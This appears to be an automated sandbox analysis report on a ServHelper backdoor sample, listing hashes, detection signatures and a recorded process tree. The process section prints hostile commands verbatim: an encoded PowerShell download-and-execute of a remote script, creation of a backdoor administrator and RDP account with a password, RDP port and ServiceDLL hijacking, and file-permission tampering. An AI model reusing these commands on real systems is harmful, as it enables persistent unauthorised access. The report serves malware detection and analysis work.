Analysis
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max time kernel
138s -
max time network
121s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
08-07-2021 16:04
Static task
static1
Behavioral task
behavioral1
Sample
2b7720a936539736e36bb95fd6c61818.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
2b7720a936539736e36bb95fd6c61818.exe
Resource
win10v20210410
General
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Target
2b7720a936539736e36bb95fd6c61818.exe
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Size
4.4MB
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MD5
2b7720a936539736e36bb95fd6c61818
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SHA1
b89323ad4d1f09227e097173420504f24e27e131
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SHA256
b3f483f00e80c0777858e6795f9f13bce726ff8265ef3e8cd3602cf1711247a2
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SHA512
d878072027b9aca3434c2b15cb4a3b4c9d097806719ac50ed731110faef2561fa179831804ad4624b7fa7b0fbd6f5927d5ab2fc078b918e13d21d88292f5bcad
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
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ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
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Core1 .NET packer 1 IoCs
Detects packer/loader used by .NET malware.
resource yara_rule behavioral1/memory/320-63-0x000000001D050000-0x000000001D67B000-memory.dmp Core1 -
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
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Blocklisted process makes network request 1 IoCs
flow pid Process 10 2036 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
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Possible privilege escalation attempt 8 IoCs
pid Process 864 icacls.exe 1536 icacls.exe 1572 icacls.exe 744 icacls.exe 1756 icacls.exe 1808 icacls.exe 1940 icacls.exe 868 takeown.exe -
Sets DLL path for service in the registry 2 TTPs
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resource yara_rule behavioral1/files/0x00040000000130dd-187.dat upx behavioral1/files/0x00050000000130de-188.dat upx -
Deletes itself 1 IoCs
pid Process 484 powershell.exe -
Loads dropped DLL 2 IoCs
pid Process 1704 Process not Found 1704 Process not Found -
Modifies file permissions 1 TTPs 8 IoCs
pid Process 1940 icacls.exe 868 takeown.exe 864 icacls.exe 1536 icacls.exe 1572 icacls.exe 744 icacls.exe 1756 icacls.exe 1808 icacls.exe -
Uses the VBS compiler for execution 1 TTPs
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Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 320 set thread context of 1648 320 2b7720a936539736e36bb95fd6c61818.exe 29 -
Drops file in Windows directory 21 IoCs
description ioc Process File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\A7CV28FHYV7DH798L0UH.temp powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_49ee5681-ac59-46df-b40e-15db698b5aee powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bd35013d-dc08-440a-af32-3ab4e1813b45 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7af5733d-c48d-4889-bd1d-1e26eb2937bb powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d3c78025-52df-436e-8807-8245604362c2 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9167df56-733e-4c1c-a8ba-fc16c544035d powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ae8d0912-eb84-43d8-9dc3-2e2be8282f53 powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1c2bc2b0-72f6-415f-8d97-739eadd36f6c powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_eb12a207-065f-4b0b-bee2-f4076aa764bb powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ebf04646-1940-4287-a948-0aa7e7ec3023 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a3ad97b7-ccad-466e-b7da-44cbfd19f29d powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8a18194d-4e47-4ef1-886f-ab0e9e21dcb7 powershell.exe -
Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = e00e075e2374d701 powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 368 reg.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 13 IoCs
pid Process 484 powershell.exe 484 powershell.exe 2008 powershell.exe 2008 powershell.exe 1456 powershell.exe 1456 powershell.exe 1880 powershell.exe 1880 powershell.exe 484 powershell.exe 484 powershell.exe 484 powershell.exe 2036 powershell.exe 2036 powershell.exe -
Suspicious behavior: LoadsDriver 5 IoCs
pid Process 472 Process not Found 1704 Process not Found 1704 Process not Found 1704 Process not Found 1704 Process not Found -
Suspicious use of AdjustPrivilegeToken 18 IoCs
description pid Process Token: SeDebugPrivilege 484 powershell.exe Token: SeDebugPrivilege 2008 powershell.exe Token: SeDebugPrivilege 1456 powershell.exe Token: SeDebugPrivilege 1880 powershell.exe Token: SeRestorePrivilege 1536 icacls.exe Token: SeAssignPrimaryTokenPrivilege 368 WMIC.exe Token: SeIncreaseQuotaPrivilege 368 WMIC.exe Token: SeAuditPrivilege 368 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 368 WMIC.exe Token: SeIncreaseQuotaPrivilege 368 WMIC.exe Token: SeAuditPrivilege 368 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1292 WMIC.exe Token: SeIncreaseQuotaPrivilege 1292 WMIC.exe Token: SeAuditPrivilege 1292 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1292 WMIC.exe Token: SeIncreaseQuotaPrivilege 1292 WMIC.exe Token: SeAuditPrivilege 1292 WMIC.exe Token: SeDebugPrivilege 2036 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 320 wrote to memory of 1648 320 2b7720a936539736e36bb95fd6c61818.exe 29 PID 320 wrote to memory of 1648 320 2b7720a936539736e36bb95fd6c61818.exe 29 PID 320 wrote to memory of 1648 320 2b7720a936539736e36bb95fd6c61818.exe 29 PID 320 wrote to memory of 1648 320 2b7720a936539736e36bb95fd6c61818.exe 29 PID 320 wrote to memory of 1648 320 2b7720a936539736e36bb95fd6c61818.exe 29 PID 320 wrote to memory of 1648 320 2b7720a936539736e36bb95fd6c61818.exe 29 PID 320 wrote to memory of 1648 320 2b7720a936539736e36bb95fd6c61818.exe 29 PID 320 wrote to memory of 1648 320 2b7720a936539736e36bb95fd6c61818.exe 29 PID 320 wrote to memory of 1648 320 2b7720a936539736e36bb95fd6c61818.exe 29 PID 320 wrote to memory of 1648 320 2b7720a936539736e36bb95fd6c61818.exe 29 PID 320 wrote to memory of 1648 320 2b7720a936539736e36bb95fd6c61818.exe 29 PID 1648 wrote to memory of 484 1648 vbc.exe 30 PID 1648 wrote to memory of 484 1648 vbc.exe 30 PID 1648 wrote to memory of 484 1648 vbc.exe 30 PID 484 wrote to memory of 1920 484 powershell.exe 32 PID 484 wrote to memory of 1920 484 powershell.exe 32 PID 484 wrote to memory of 1920 484 powershell.exe 32 PID 1920 wrote to memory of 2044 1920 csc.exe 33 PID 1920 wrote to memory of 2044 1920 csc.exe 33 PID 1920 wrote to memory of 2044 1920 csc.exe 33 PID 484 wrote to memory of 2008 484 powershell.exe 34 PID 484 wrote to memory of 2008 484 powershell.exe 34 PID 484 wrote to memory of 2008 484 powershell.exe 34 PID 484 wrote to memory of 1456 484 powershell.exe 36 PID 484 wrote to memory of 1456 484 powershell.exe 36 PID 484 wrote to memory of 1456 484 powershell.exe 36 PID 484 wrote to memory of 1880 484 powershell.exe 38 PID 484 wrote to memory of 1880 484 powershell.exe 38 PID 484 wrote to memory of 1880 484 powershell.exe 38 PID 484 wrote to memory of 868 484 powershell.exe 41 PID 484 wrote to memory of 868 484 powershell.exe 41 PID 484 wrote to memory of 868 484 powershell.exe 41 PID 484 wrote to memory of 864 484 powershell.exe 42 PID 484 wrote to memory of 864 484 powershell.exe 42 PID 484 wrote to memory of 864 484 powershell.exe 42 PID 484 wrote to memory of 1536 484 powershell.exe 43 PID 484 wrote to memory of 1536 484 powershell.exe 43 PID 484 wrote to memory of 1536 484 powershell.exe 43 PID 484 wrote to memory of 1572 484 powershell.exe 44 PID 484 wrote to memory of 1572 484 powershell.exe 44 PID 484 wrote to memory of 1572 484 powershell.exe 44 PID 484 wrote to memory of 744 484 powershell.exe 45 PID 484 wrote to memory of 744 484 powershell.exe 45 PID 484 wrote to memory of 744 484 powershell.exe 45 PID 484 wrote to memory of 1756 484 powershell.exe 46 PID 484 wrote to memory of 1756 484 powershell.exe 46 PID 484 wrote to memory of 1756 484 powershell.exe 46 PID 484 wrote to memory of 1808 484 powershell.exe 47 PID 484 wrote to memory of 1808 484 powershell.exe 47 PID 484 wrote to memory of 1808 484 powershell.exe 47 PID 484 wrote to memory of 1940 484 powershell.exe 48 PID 484 wrote to memory of 1940 484 powershell.exe 48 PID 484 wrote to memory of 1940 484 powershell.exe 48 PID 484 wrote to memory of 1920 484 powershell.exe 49 PID 484 wrote to memory of 1920 484 powershell.exe 49 PID 484 wrote to memory of 1920 484 powershell.exe 49 PID 484 wrote to memory of 368 484 powershell.exe 50 PID 484 wrote to memory of 368 484 powershell.exe 50 PID 484 wrote to memory of 368 484 powershell.exe 50 PID 484 wrote to memory of 1600 484 powershell.exe 51 PID 484 wrote to memory of 1600 484 powershell.exe 51 PID 484 wrote to memory of 1600 484 powershell.exe 51 PID 484 wrote to memory of 1576 484 powershell.exe 52 PID 484 wrote to memory of 1576 484 powershell.exe 52
Processes
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C:\Users\Admin\AppData\Local\Temp\2b7720a936539736e36bb95fd6c61818.exe"C:\Users\Admin\AppData\Local\Temp\2b7720a936539736e36bb95fd6c61818.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:320 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1648 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'3⤵
- Deletes itself
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:484 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5qeplvkt\5qeplvkt.cmdline"4⤵
- Suspicious use of WriteProcessMemory
PID:1920 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES712A.tmp" "c:\Users\Admin\AppData\Local\Temp\5qeplvkt\CSCB8439D86854B449ABE7C6F2F5EAA8345.TMP"5⤵PID:2044
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2008
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1456
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1880
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C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:868
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:864
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1536
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1572
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:744
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1756
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1808
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1940
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f4⤵PID:1920
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f4⤵
- Modifies registry key
PID:368
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f4⤵PID:1600
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C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:1576
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add5⤵PID:1500
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr4⤵PID:1944
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C:\Windows\system32\cmd.execmd /c net start rdpdr5⤵PID:1440
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C:\Windows\system32\net.exenet start rdpdr6⤵PID:1292
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr7⤵PID:1012
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService4⤵PID:1744
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C:\Windows\system32\cmd.execmd /c net start TermService5⤵PID:1436
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C:\Windows\system32\net.exenet start TermService6⤵PID:1332
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService7⤵PID:1712
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f4⤵PID:1432
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f4⤵PID:744
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵PID:1632
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵PID:868
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:864
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc Fp2SgHx3 /add1⤵PID:816
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc Fp2SgHx3 /add2⤵PID:304
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc Fp2SgHx3 /add3⤵PID:744
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵PID:1196
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:1776
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:1924
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD1⤵PID:944
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD2⤵PID:1576
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD3⤵PID:1496
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:1440
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:2036
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:1728
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc Fp2SgHx31⤵PID:796
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc Fp2SgHx32⤵PID:1632
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc Fp2SgHx33⤵PID:1992
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C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:1572
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:368
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C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:1808
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C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1292
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C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:1240
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C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:1548
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2036
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